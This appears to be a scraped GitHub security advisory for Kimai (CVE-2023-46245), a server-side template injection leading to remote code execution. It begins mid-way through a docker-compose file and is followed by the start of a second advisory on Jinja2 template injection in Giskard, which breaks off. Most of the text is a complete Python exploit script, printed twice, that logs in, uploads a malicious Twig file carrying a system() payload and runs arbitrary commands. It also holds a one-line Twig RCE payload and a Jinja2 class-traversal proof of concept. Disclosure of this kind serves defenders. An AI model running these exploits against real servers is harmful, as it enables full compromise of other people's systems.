- ADMINMAIL=admin@kimai.local
- ADMINPASS=changemeplease
- DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai
- TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2
- memory_limit=1024
volumes:
- public:/opt/kimai/public
# - var:/opt/kimai/var
# - ./ldap.conf:/etc/openldap/ldap.conf:z
# - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z
restart: unless-stopped
phpmyadmin:
image: phpmyadmin
restart: always
ports:
- 8081:80
environment:
- PMA_ARBITRARY=1
postfix:
image: catatnight/postfix:latest
environment:
maildomain: neontribe.co.uk
smtp_user: kimai:kimai
restart: unless-stopped
volumes:
var:
public:
mysql:
Steps to Reproduce (Manually):
1- Upload a malicious Twig file to the server containing the following payload {{['id>/tmp/pwned']|map('system')|join}}
2- Trigger the SSTI vulnerability by downloading the invoices.
3- The malicious code gets executed, leading to RCE.
4- /tmp/pwned file will be created on the target system
I've also attached an automated script to ease up the process of reproducing: # Proof of Concept
import requests
import re
import string
import random
import sys
session = requests.session()
BASE_URL = sys.argv[1]
def generate(size=6, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def get_csrf(path, session):
try:
project_id = ""
csrf_token = ""
preview_id = ""
template_ids = []
activity_customer_list = []
csrf_login_response = session.get(f"{BASE_URL}{path}").text
# Extract CSRF Token
pattern = re.compile(r'<input[^>]*?name=["\'].*?token[^"\']*["\'][^>]*?value=["\'](.*?)["\'][^>]*?>', re.IGNORECASE)
match = pattern.search(csrf_login_response)
if match:
csrf_token = match.group(1)
if "performSearch" in path:
preview_pattern = re.compile(r'<div[^>]*id="preview-token"[^>]*data-value="(.*?)"[^>]*>', re.IGNORECASE)
preview_match = preview_pattern.search(csrf_login_response)
if preview_match:
preview_id = preview_match.group(1)
template_pattern = re.compile(r'<option value="(\d+)" selected="selected">', re.IGNORECASE)
template_matches = template_pattern.findall(csrf_login_response)
if template_matches:
template_ids = [int(id) for id in template_matches]
if "timesheet" in path:
option_pattern = re.compile(r'<option value="(\d+)" data-customer="(\d+)" data-currency="EUR">', re.IGNORECASE)
option_matches = option_pattern.findall(csrf_login_response)
if option_matches:
activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]
if "project" in path or "activity" in path:
project_id_match = re.search(r'<option value="(\d+)"[^>]*data-currency="EUR"[^>]*>', csrf_login_response)
if project_id_match:
project_id = project_id_match.group(1)
return csrf_token, project_id, preview_id, template_ids, activity_customer_list
except Exception as e:
print(f"Error occurred: {e}")
return None, None, None, None, None
def login(username,password,csrf,session):
try:
params = {"_username": username, "_password": password, "_csrf_token": csrf}
login_response = session.post(f"{BASE_URL}/login_check", data=params, allow_redirects=True)
if "I forgot my password" not in login_response.text:
print(f"[+] Logged in: {username}")
return session
else:
print("Wrong username,password", username)
exit(1)
except Exception as e:
print(str(e))
pass
def create_customer(token,name,session):
try:
data = {
'customer_edit_form[name]': (None, name),
'customer_edit_form[color]': (None, ''),
'customer_edit_form[comment]': (None, 'xx'),
'customer_edit_form[address]': (None, 'xx'),
'customer_edit_form[company]': (None, ''),
'customer_edit_form[number]': (None, '0002'),
'customer_edit_form[vatId]': (None, ''),
'customer_edit_form[country]': (None, 'DE'),
'customer_edit_form[currency]': (None, 'EUR'),
'customer_edit_form[timezone]': (None, 'UTC'),
'customer_edit_form[contact]': (None, ''),
'customer_edit_form[email]': (None, ''),
'customer_edit_form[homepage]': (None, ''),
'customer_edit_form[mobile]': (None, ''),
'customer_edit_form[phone]': (None, ''),
'customer_edit_form[fax]': (None, ''),
'customer_edit_form[budget]': (None, '0.00'),
'customer_edit_form[timeBudget]': (None, '0:00'),
'customer_edit_form[budgetType]': (None, ''),
'customer_edit_form[visible]': (None, '1'),
'customer_edit_form[billable]': (None, '1'),
'customer_edit_form[invoiceTemplate]': (None, ''),
'customer_edit_form[invoiceText]': (None, ''),
'customer_edit_form[_token]': (None, token),
}
response = session.post(f"{BASE_URL}/admin/customer/create", files=data)
except Exception as e:
print(str(e))
def create_project(token, name,project_id ,session):
try:
form_data = {
'project_edit_form[name]': (None, name),
'project_edit_form[color]': (None, ''),
'project_edit_form[comment]': (None, ''),
'project_edit_form[customer]': (None, project_id),
'project_edit_form[orderNumber]': (None, ''),
'project_edit_form[orderDate]': (None, ''),
'project_edit_form[start]': (None, ''),
'project_edit_form[end]': (None, ''),
'project_edit_form[budget]': (None, '0.00'),
'project_edit_form[timeBudget]': (None, '0:00'),
'project_edit_form[budgetType]': (None, ''),
'project_edit_form[visible]': (None, '1'),
'project_edit_form[billable]': (None, '1'),
'project_edit_form[globalActivities]': (None, '1'),
'project_edit_form[invoiceText]': (None, ''),
'project_edit_form[_token]': (None, token)
}
response = session.post(f"{BASE_URL}/admin/project/create", files=form_data)
except Exception as e:
print(str(e))
def create_activity(token, name,project_id ,session):
try:
form_data = {
'activity_edit_form[name]': (None, name),
'activity_edit_form[color]': (None, ''),
'activity_edit_form[comment]': (None, ''),
'activity_edit_form[project]': (None, ''),
'activity_edit_form[budget]': (None, '0.00'),
'activity_edit_form[timeBudget]': (None, '0:00'),
'activity_edit_form[budgetType]': (None, ''),
'activity_edit_form[visible]': (None, '1'),
'activity_edit_form[billable]': (None, '1'),
'activity_edit_form[invoiceText]': (None, ''),
'activity_edit_form[_token]': (None, token),
}
response = session.post(f"{BASE_URL}/admin/activity/create", files=form_data)
if response.status_code == 201:
print(f"[+] Activity created: {name}")
except Exception as e:
print(f"An error occurred: {str(e)}")
def upload_malicious_document(token,session):
try:
form_data = {
'invoice_document_upload_form[document]': ('din.pdf.twig', f"<html><body>{{{{['{sys.argv[4]}']|map('system')|join}}}}</body></html>", 'text/x-twig'),
'invoice_document_upload_form[_token]': (None, token)
}
response = session.post(f"{BASE_URL}/invoice/document_upload", files=form_data)
if ".pdf.twig" in response.text:
print("[+] Twig uploaded successfully!")
else:
print("[-] Error while uploading, exiting..")
exit(1)
except Exception as e:
print(f"An error occurred: {str(e)}")
import re
def create_malicious_template(token, name, session):
try:
data = {
'invoice_template_form[name]': name,
'invoice_template_form[title]': name,
'invoice_template_form[company]': name,
'invoice_template_form[vatId]': '',
'invoice_template_form[address]': '',
'invoice_template_form[contact]': '',
'invoice_template_form[paymentTerms]': '',
'invoice_template_form[paymentDetails]': '',
'invoice_template_form[dueDays]': '30',
'invoice_template_form[vat]': '0.000',
'invoice_template_form[language]': 'en',
'invoice_template_form[numberGenerator]': 'default',
'invoice_template_form[renderer]': 'din',
'invoice_template_form[calculator]': 'default',
'invoice_template_form[_token]': token
}
response = session.post(f"{BASE_URL}/invoice/template/create", data=data)
# Define the regex pattern to capture the template ID and match the name
pattern = re.compile(fr'<tr class="modal-ajax-form open-edit" data-href="/en/invoice/template/(\d+)/edit">\s*<td class="alwaysVisible col_name">{re.escape(name)}</td>', re.DOTALL)
# Search the response text with the regex pattern
match = pattern.search(response.text)
if match:
template_id = match.group(1) # Extract the captured group
print(f"[+] Malicious Template: {name}, Template ID: {template_id}")
return template_id # Return the captured template ID
else:
print("[-] Failed to capture the template ID")
create_malicious_template(token,name,session)
except Exception as e:
print(f"An error occurred: {str(e)}")
exit(1)
def create_timesheet(token, activity, project, session):
form_data = {
'timesheet_edit_form[begin_date]': (None, '01/01/1980'),
'timesheet_edit_form[begin_time]': (None, '12:00 AM'),
'timesheet_edit_form[duration]': (None, '0:15'),
'timesheet_edit_form[end_time]': (None, '12:15 AM'),
'timesheet_edit_form[customer]': (None, ''),
'timesheet_edit_form[project]': (None, project),
'timesheet_edit_form[activity]': (None, activity),
'timesheet_edit_form[description]': (None, ''),
'timesheet_edit_form[fixedRate]': (None, ''),
'timesheet_edit_form[hourlyRate]': (None, ''),
'timesheet_edit_form[billableMode]': (None, 'auto'),
'timesheet_edit_form[_token]': (None, token)
}
response = session.post(f"{BASE_URL}/timesheet/create", files=form_data,allow_redirects=False)
if response.status_code == 302: # Changed to 200 as 301 is for redirection
print(f"[+] Created a new timesheet")
##############################
# login
csrf, _, _, _, _ = get_csrf("/login", session)
# login("admin", "password", csrf, session)
login(sys.argv[2],sys.argv[3],csrf,session)
# create new customer
get_customer_token, _, _, _, _ = get_csrf("/admin/customer/create", session)
customer_name = generate()
create_customer(get_customer_token, customer_name, session)
# create new project with customer_name
get_project_token, customer_id, _, _, _ = get_csrf("/admin/project/create", session)
project_name = generate()
create_project(get_project_token, project_name, customer_id, session)
# create new activity
get_activity_token, project_id, _, _, _ = get_csrf("/admin/activity/create", session)
activity_name = generate()
create_activity(get_activity_token, activity_name, project_id, session)
# EXPLOIT
######################
# upload malicious file
upload_token, _, _, _, _ = get_csrf("/invoice/document_upload", session)
upload_malicious_document(upload_token, session)
# create malicious template to trigger the SSTI
get_template_token, _, _, _, _ = get_csrf("/invoice/template/create", session)
template = generate()
temp_id = create_malicious_template(get_template_token, template, session)
# create a timesheet with project_id and activity_id
activity_customer_list = get_csrf("/timesheet/create", session)[4] # get the activity_customer_list from get_csrf function
print(f"[+] Constructing renderer URLs..")
# iterate through all relative project_ids and customer_id for exploit stabiliy
for activity_id, customer_id in activity_customer_list:
csrf = get_csrf("/timesheet/create", session)[0] # Update CSRF token for each iteration
print(f"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}")
create_timesheet(csrf, activity_id, customer_id, session)
postData = {
"searchTerm": "",
"daterange": "",
"state": "1",
"billable": "0",
"exported": "1",
"orderBy": "begin",
"order": "DESC",
"exporter": "pdf"
}
# export timesheets so they appear in exported invoices
export = session.post(f"{BASE_URL}/timesheet/export/", data=postData).text
if "PDF-1.4" in export:
csrf, _, _, _, _ = get_csrf("/invoice/", session)
# get preview token to construct the preview URL to trigger SSTI
csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f"/invoice/?searchTerm=&daterange=&exported=1&invoiceDate=1%2F1%2F1980&performSearch=performSearch&_token={csrf}&template={temp_id}", session)
for template_id in template_ids:
rendererURL = f"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=&daterange=&exported=1&template={temp_id}&invoiceDate=&_token={csrf}&customers[]={customer_id}"
# trigger the payload by visiting the renderer URL
rce = session.get(rendererURL)
if "PDF-1.4" in rce.text:
print(rendererURL)
print("[+] successfully executed payload")
# save the pdf locally since rendered URL will expire as soon as we end the session
pdf = f"{generate()}.pdf"
with open(pdf,'wb') as pdfFile:
pdfFile.write(rce.content)
pdfFile.flush()
pdfFile.close()
print(f"[+] Saved results with name: {pdf}")
exit(1)
print("[-] Failed to execute payload, try to trigger manually..")
which can be executed as such:
$ python3 spl0it.py http://localhost:8001/en admin password "ls -la"
this will download the rendered file which will contain the results of the RCE:

Impact
Remote Code Execution
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "kimai/kimai"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-46245"
],
"database_specific": {
"cwe_ids": [
"CWE-1336"
],
"github_reviewed": true,
"github_reviewed_at": "2023-10-30T15:40:04Z",
"nvd_published_at": "2023-10-31T16:15:09Z",
"severity": "HIGH"
},
"details": "# Description\n\nThe laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software\u0027s PDF and HTML rendering functionalities.\n\nSnippet of Vulnerable Code: \n\n```php\npublic function render(array $timesheets, TimesheetQuery $query): Response\n{\n ...\n $content = $this-\u003etwig-\u003erender($this-\u003egetTemplate(), array_merge([\n \u0027entries\u0027 =\u003e $timesheets,\n \u0027query\u0027 =\u003e $query,\n ...\n ], $this-\u003egetOptions($query)));\n ...\n $content = $this-\u003econverter-\u003econvertToPdf($content, $pdfOptions);\n ...\n return $this-\u003ecreatePdfResponse($content, $context);\n}\n```\n\nThe vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server.\n\nIn below, you can find the docker-compose file was used for this testing:\n\n```yaml\nversion: \u00273.5\u0027\nservices:\n\n sqldb:\n image: mysql:5.7\n environment:\n - MYSQL_ROOT_HOST=\u0027%\u0027\n - MYSQL_DATABASE=kimai\n - MYSQL_USER=kimaiuser\n - MYSQL_PASSWORD=kimaipassword\n - MYSQL_ROOT_PASSWORD=changemeplease\n\n ports:\n - 3336:3306\n volumes:\n - mysql:/var/lib/mysql\n command: --default-storage-engine innodb\n restart: unless-stopped\n healthcheck:\n test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1\n interval: 20s\n start_period: 10s\n timeout: 10s\n retries: 3\n\n nginx:\n image: tobybatch/nginx-fpm-reverse-proxy\n ports:\n - 8001:80\n volumes:\n - public:/opt/kimai/public:ro\n restart: unless-stopped\n depends_on:\n - kimai\n healthcheck:\n test: wget --spider http://nginx/health || exit 1\n interval: 20s\n start_period: 10s\n timeout: 10s\n retries: 3\n\n kimai: # This is the latest FPM image of kimai\n image: kimai/kimai2:fpm-prod\n environment:\n - ADMINMAIL=admin@kimai.local\n - ADMINPASS=changemeplease\n - DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai\n - TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2\n - memory_limit=1024\n volumes:\n - public:/opt/kimai/public\n # - var:/opt/kimai/var\n # - ./ldap.conf:/etc/openldap/ldap.conf:z\n # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z\n restart: unless-stopped\n\n phpmyadmin:\n image: phpmyadmin\n restart: always\n ports:\n - 8081:80\n environment:\n - PMA_ARBITRARY=1\n\n\n\n postfix:\n image: catatnight/postfix:latest\n environment:\n maildomain: neontribe.co.uk\n smtp_user: kimai:kimai\n restart: unless-stopped\n\nvolumes:\n var:\n public:\n mysql:\n```\n\nSteps to Reproduce (Manually):\n1- Upload a malicious Twig file to the server containing the following payload ```{{[\u0027id\u003e/tmp/pwned\u0027]|map(\u0027system\u0027)|join}}```\n2- Trigger the SSTI vulnerability by downloading the invoices.\n3- The malicious code gets executed, leading to RCE.\n4- /tmp/pwned file will be created on the target system\n\nI\u0027ve also attached an automated script to ease up the process of reproducing:\n # Proof of Concept\n```python\nimport requests\nimport re\nimport string\nimport random\nimport sys\n\nsession = requests.session()\nBASE_URL = sys.argv[1]\n\n\ndef generate(size=6, chars=string.ascii_uppercase + string.digits):\n return \u0027\u0027.join(random.choice(chars) for _ in range(size))\n\n\ndef get_csrf(path, session):\n try:\n project_id = \"\"\n csrf_token = \"\"\n preview_id = \"\"\n template_ids = []\n activity_customer_list = []\n \n csrf_login_response = session.get(f\"{BASE_URL}{path}\").text\n \n # Extract CSRF Token\n pattern = re.compile(r\u0027\u003cinput[^\u003e]*?name=[\"\\\u0027].*?token[^\"\\\u0027]*[\"\\\u0027][^\u003e]*?value=[\"\\\u0027](.*?)[\"\\\u0027][^\u003e]*?\u003e\u0027, re.IGNORECASE)\n match = pattern.search(csrf_login_response)\n if match:\n csrf_token = match.group(1)\n \n if \"performSearch\" in path:\n preview_pattern = re.compile(r\u0027\u003cdiv[^\u003e]*id=\"preview-token\"[^\u003e]*data-value=\"(.*?)\"[^\u003e]*\u003e\u0027, re.IGNORECASE)\n preview_match = preview_pattern.search(csrf_login_response)\n if preview_match:\n preview_id = preview_match.group(1)\n\n \n template_pattern = re.compile(r\u0027\u003coption value=\"(\\d+)\" selected=\"selected\"\u003e\u0027, re.IGNORECASE)\n template_matches = template_pattern.findall(csrf_login_response)\n if template_matches:\n template_ids = [int(id) for id in template_matches]\n \n if \"timesheet\" in path:\n option_pattern = re.compile(r\u0027\u003coption value=\"(\\d+)\" data-customer=\"(\\d+)\" data-currency=\"EUR\"\u003e\u0027, re.IGNORECASE)\n option_matches = option_pattern.findall(csrf_login_response)\n if option_matches:\n activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches]\n \n if \"project\" in path or \"activity\" in path:\n project_id_match = re.search(r\u0027\u003coption value=\"(\\d+)\"[^\u003e]*data-currency=\"EUR\"[^\u003e]*\u003e\u0027, csrf_login_response)\n if project_id_match:\n project_id = project_id_match.group(1)\n \n return csrf_token, project_id, preview_id, template_ids, activity_customer_list\n \n except Exception as e:\n print(f\"Error occurred: {e}\")\n return None, None, None, None, None\n\n\ndef login(username,password,csrf,session):\n try:\n params = {\"_username\": username, \"_password\": password, \"_csrf_token\": csrf}\n login_response = session.post(f\"{BASE_URL}/login_check\", data=params, allow_redirects=True)\n if \"I forgot my password\" not in login_response.text:\n print(f\"[+] Logged in: {username}\")\n return session\n else:\n print(\"Wrong username,password\", username)\n exit(1)\n except Exception as e:\n print(str(e))\n pass\n\ndef create_customer(token,name,session):\n try:\n\n data = {\n \u0027customer_edit_form[name]\u0027: (None, name),\n \u0027customer_edit_form[color]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[comment]\u0027: (None, \u0027xx\u0027),\n \u0027customer_edit_form[address]\u0027: (None, \u0027xx\u0027),\n \u0027customer_edit_form[company]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[number]\u0027: (None, \u00270002\u0027),\n \u0027customer_edit_form[vatId]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[country]\u0027: (None, \u0027DE\u0027),\n \u0027customer_edit_form[currency]\u0027: (None, \u0027EUR\u0027),\n \u0027customer_edit_form[timezone]\u0027: (None, \u0027UTC\u0027),\n \u0027customer_edit_form[contact]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[email]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[homepage]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[mobile]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[phone]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[fax]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n \u0027customer_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n \u0027customer_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[visible]\u0027: (None, \u00271\u0027),\n \u0027customer_edit_form[billable]\u0027: (None, \u00271\u0027),\n \u0027customer_edit_form[invoiceTemplate]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n \u0027customer_edit_form[_token]\u0027: (None, token),\n }\n\n\n response = session.post(f\"{BASE_URL}/admin/customer/create\", files=data)\n\n except Exception as e:\n print(str(e))\n\n\ndef create_project(token, name,project_id ,session):\n try:\n form_data = {\n \u0027project_edit_form[name]\u0027: (None, name),\n \u0027project_edit_form[color]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[comment]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[customer]\u0027: (None, project_id), \n \u0027project_edit_form[orderNumber]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[orderDate]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[start]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[end]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n \u0027project_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n \u0027project_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[visible]\u0027: (None, \u00271\u0027),\n \u0027project_edit_form[billable]\u0027: (None, \u00271\u0027),\n \u0027project_edit_form[globalActivities]\u0027: (None, \u00271\u0027),\n \u0027project_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n \u0027project_edit_form[_token]\u0027: (None, token)\n }\n \n response = session.post(f\"{BASE_URL}/admin/project/create\", files=form_data)\n \n except Exception as e:\n print(str(e))\n\n\ndef create_activity(token, name,project_id ,session):\n try:\n form_data = {\n \u0027activity_edit_form[name]\u0027: (None, name),\n \u0027activity_edit_form[color]\u0027: (None, \u0027\u0027),\n \u0027activity_edit_form[comment]\u0027: (None, \u0027\u0027),\n \u0027activity_edit_form[project]\u0027: (None, \u0027\u0027),\n \u0027activity_edit_form[budget]\u0027: (None, \u00270.00\u0027),\n \u0027activity_edit_form[timeBudget]\u0027: (None, \u00270:00\u0027),\n \u0027activity_edit_form[budgetType]\u0027: (None, \u0027\u0027),\n \u0027activity_edit_form[visible]\u0027: (None, \u00271\u0027),\n \u0027activity_edit_form[billable]\u0027: (None, \u00271\u0027),\n \u0027activity_edit_form[invoiceText]\u0027: (None, \u0027\u0027),\n \u0027activity_edit_form[_token]\u0027: (None, token),\n }\n \n response = session.post(f\"{BASE_URL}/admin/activity/create\", files=form_data)\n \n if response.status_code == 201:\n print(f\"[+] Activity created: {name}\")\n\n except Exception as e:\n print(f\"An error occurred: {str(e)}\")\n\ndef upload_malicious_document(token,session):\n try:\n form_data = {\n \u0027invoice_document_upload_form[document]\u0027: (\u0027din.pdf.twig\u0027, f\"\u003chtml\u003e\u003cbody\u003e{{{{[\u0027{sys.argv[4]}\u0027]|map(\u0027system\u0027)|join}}}}\u003c/body\u003e\u003c/html\u003e\", \u0027text/x-twig\u0027),\n \u0027invoice_document_upload_form[_token]\u0027: (None, token)\n }\n \n response = session.post(f\"{BASE_URL}/invoice/document_upload\", files=form_data)\n \n if \".pdf.twig\" in response.text:\n print(\"[+] Twig uploaded successfully!\")\n else:\n print(\"[-] Error while uploading, exiting..\")\n exit(1)\n\n except Exception as e:\n print(f\"An error occurred: {str(e)}\")\nimport re\n\ndef create_malicious_template(token, name, session):\n try:\n data = {\n \u0027invoice_template_form[name]\u0027: name,\n \u0027invoice_template_form[title]\u0027: name,\n \u0027invoice_template_form[company]\u0027: name,\n \u0027invoice_template_form[vatId]\u0027: \u0027\u0027,\n \u0027invoice_template_form[address]\u0027: \u0027\u0027,\n \u0027invoice_template_form[contact]\u0027: \u0027\u0027,\n \u0027invoice_template_form[paymentTerms]\u0027: \u0027\u0027,\n \u0027invoice_template_form[paymentDetails]\u0027: \u0027\u0027,\n \u0027invoice_template_form[dueDays]\u0027: \u002730\u0027,\n \u0027invoice_template_form[vat]\u0027: \u00270.000\u0027,\n \u0027invoice_template_form[language]\u0027: \u0027en\u0027,\n \u0027invoice_template_form[numberGenerator]\u0027: \u0027default\u0027,\n \u0027invoice_template_form[renderer]\u0027: \u0027din\u0027,\n \u0027invoice_template_form[calculator]\u0027: \u0027default\u0027,\n \u0027invoice_template_form[_token]\u0027: token\n }\n \n response = session.post(f\"{BASE_URL}/invoice/template/create\", data=data)\n \n # Define the regex pattern to capture the template ID and match the name\n pattern = re.compile(fr\u0027\u003ctr class=\"modal-ajax-form open-edit\" data-href=\"/en/invoice/template/(\\d+)/edit\"\u003e\\s*\u003ctd class=\"alwaysVisible col_name\"\u003e{re.escape(name)}\u003c/td\u003e\u0027, re.DOTALL)\n \n # Search the response text with the regex pattern\n match = pattern.search(response.text)\n \n if match:\n template_id = match.group(1) # Extract the captured group\n print(f\"[+] Malicious Template: {name}, Template ID: {template_id}\")\n return template_id # Return the captured template ID\n else:\n print(\"[-] Failed to capture the template ID\")\n create_malicious_template(token,name,session)\n \n except Exception as e:\n print(f\"An error occurred: {str(e)}\")\n exit(1)\n\n\n\n\ndef create_timesheet(token, activity, project, session):\n form_data = {\n \u0027timesheet_edit_form[begin_date]\u0027: (None, \u002701/01/1980\u0027),\n \u0027timesheet_edit_form[begin_time]\u0027: (None, \u002712:00 AM\u0027),\n \u0027timesheet_edit_form[duration]\u0027: (None, \u00270:15\u0027),\n \u0027timesheet_edit_form[end_time]\u0027: (None, \u002712:15 AM\u0027),\n \u0027timesheet_edit_form[customer]\u0027: (None, \u0027\u0027),\n \u0027timesheet_edit_form[project]\u0027: (None, project),\n \u0027timesheet_edit_form[activity]\u0027: (None, activity),\n \u0027timesheet_edit_form[description]\u0027: (None, \u0027\u0027),\n \u0027timesheet_edit_form[fixedRate]\u0027: (None, \u0027\u0027),\n \u0027timesheet_edit_form[hourlyRate]\u0027: (None, \u0027\u0027),\n \u0027timesheet_edit_form[billableMode]\u0027: (None, \u0027auto\u0027),\n \u0027timesheet_edit_form[_token]\u0027: (None, token)\n }\n response = session.post(f\"{BASE_URL}/timesheet/create\", files=form_data,allow_redirects=False)\n if response.status_code == 302: # Changed to 200 as 301 is for redirection\n print(f\"[+] Created a new timesheet\")\n\n\n##############################\n\n\n\n\n\n# login\ncsrf, _, _, _, _ = get_csrf(\"/login\", session) \n# login(\"admin\", \"password\", csrf, session)\nlogin(sys.argv[2],sys.argv[3],csrf,session)\n# create new customer\n\nget_customer_token, _, _, _, _ = get_csrf(\"/admin/customer/create\", session) \ncustomer_name = generate()\ncreate_customer(get_customer_token, customer_name, session)\n# create new project with customer_name\n\nget_project_token, customer_id, _, _, _ = get_csrf(\"/admin/project/create\", session) \nproject_name = generate()\ncreate_project(get_project_token, project_name, customer_id, session)\n\n# create new activity \nget_activity_token, project_id, _, _, _ = get_csrf(\"/admin/activity/create\", session)\nactivity_name = generate()\ncreate_activity(get_activity_token, activity_name, project_id, session)\n\n# EXPLOIT\n######################\n\n# upload malicious file\nupload_token, _, _, _, _ = get_csrf(\"/invoice/document_upload\", session)\nupload_malicious_document(upload_token, session)\n\n# create malicious template to trigger the SSTI\nget_template_token, _, _, _, _ = get_csrf(\"/invoice/template/create\", session)\ntemplate = generate()\ntemp_id = create_malicious_template(get_template_token, template, session)\n\n# create a timesheet with project_id and activity_id\nactivity_customer_list = get_csrf(\"/timesheet/create\", session)[4] # get the activity_customer_list from get_csrf function\n\nprint(f\"[+] Constructing renderer URLs..\")\n# iterate through all relative project_ids and customer_id for exploit stabiliy\nfor activity_id, customer_id in activity_customer_list:\n csrf = get_csrf(\"/timesheet/create\", session)[0] # Update CSRF token for each iteration\n print(f\"[+] Creating timesheets with: Activity ID: {activity_id}, Customer ID: {customer_id}\")\n create_timesheet(csrf, activity_id, customer_id, session)\n postData = {\n \"searchTerm\": \"\",\n \"daterange\": \"\",\n \"state\": \"1\",\n \"billable\": \"0\",\n \"exported\": \"1\",\n \"orderBy\": \"begin\",\n \"order\": \"DESC\",\n \"exporter\": \"pdf\"\n }\n # export timesheets so they appear in exported invoices\n export = session.post(f\"{BASE_URL}/timesheet/export/\", data=postData).text\n if \"PDF-1.4\" in export:\n csrf, _, _, _, _ = get_csrf(\"/invoice/\", session)\n # get preview token to construct the preview URL to trigger SSTI\n csrf, project_id, preview_id, template_ids, activity_customer_list = get_csrf(f\"/invoice/?searchTerm=\u0026daterange=\u0026exported=1\u0026invoiceDate=1%2F1%2F1980\u0026performSearch=performSearch\u0026_token={csrf}\u0026template={temp_id}\", session)\n for template_id in template_ids:\n rendererURL = f\"{BASE_URL}/invoice/preview/{customer_id}/{preview_id}?searchTerm=\u0026daterange=\u0026exported=1\u0026template={temp_id}\u0026invoiceDate=\u0026_token={csrf}\u0026customers[]={customer_id}\"\n # trigger the payload by visiting the renderer URL \n rce = session.get(rendererURL)\n \n if \"PDF-1.4\" in rce.text:\n print(rendererURL)\n print(\"[+] successfully executed payload\")\n # save the pdf locally since rendered URL will expire as soon as we end the session\n pdf = f\"{generate()}.pdf\"\n with open(pdf,\u0027wb\u0027) as pdfFile:\n pdfFile.write(rce.content)\n pdfFile.flush()\n pdfFile.close()\n print(f\"[+] Saved results with name: {pdf}\")\n exit(1)\n\nprint(\"[-] Failed to execute payload, try to trigger manually..\")\n```\n\nwhich can be executed as such:\n```bash\n$ python3 spl0it.py http://localhost:8001/en admin password \"ls -la\"\n```\n\nthis will download the rendered file which will contain the results of the RCE:\n\n\n\n\n# Impact\n\nRemote Code Execution",
"id": "GHSA-fjhg-96cp-6fcw",
"modified": "2023-10-30T15:40:04Z",
"published": "2023-10-30T15:40:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kimai/kimai/security/advisories/GHSA-fjhg-96cp-6fcw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46245"
},
{
"type": "WEB",
"url": "https://github.com/kimai/kimai/commit/38e37f1c2e91e1acb221ec5c13f11b735bd50ae4"
},
{
"type": "PACKAGE",
"url": "https://github.com/kimai/kimai"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File"
}
GHSA-FRV4-X25R-588M
Vulnerability from github – Published: 2026-03-27 22:17 – Updated: 2026-03-31 18:50Summary
ChatWorkflow.chat(message) passes its string argument directly as a Jinja2 template source to a non-sandboxed Environment. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.
The method name chat and parameter name message naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.
Root Cause
libs/giskard-agents/src/giskard/agents/workflow.py line ~261:
def chat(self, message: str | Message | MessageTemplate, role: Role = "user") -> Self:
if isinstance(message, str):
message = MessageTemplate(role=role, content_template=message)
The string becomes content_template, which is parsed by from_string():
libs/giskard-agents/src/giskard/agents/templates/message.py lines 14-15:
def render(self, **kwargs: Any) -> Message:
template = _inline_env.from_string(self.content_template)
rendered_content = template.render(**kwargs)
The Jinja2 Environment is not sandboxed:
libs/giskard-agents/src/giskard/agents/templates/environment.py line 37:
_inline_env = Environment(
autoescape=False,
# Not SandboxedEnvironment
)
Proof of Concept
from jinja2 import Environment
env = Environment() # Same as giskard's _inline_env
# Class traversal reaches os.popen
t = env.from_string("{{ ''.__class__.__mro__[1].__subclasses__() | length }}")
print(t.render()) # 342 accessible subclasses
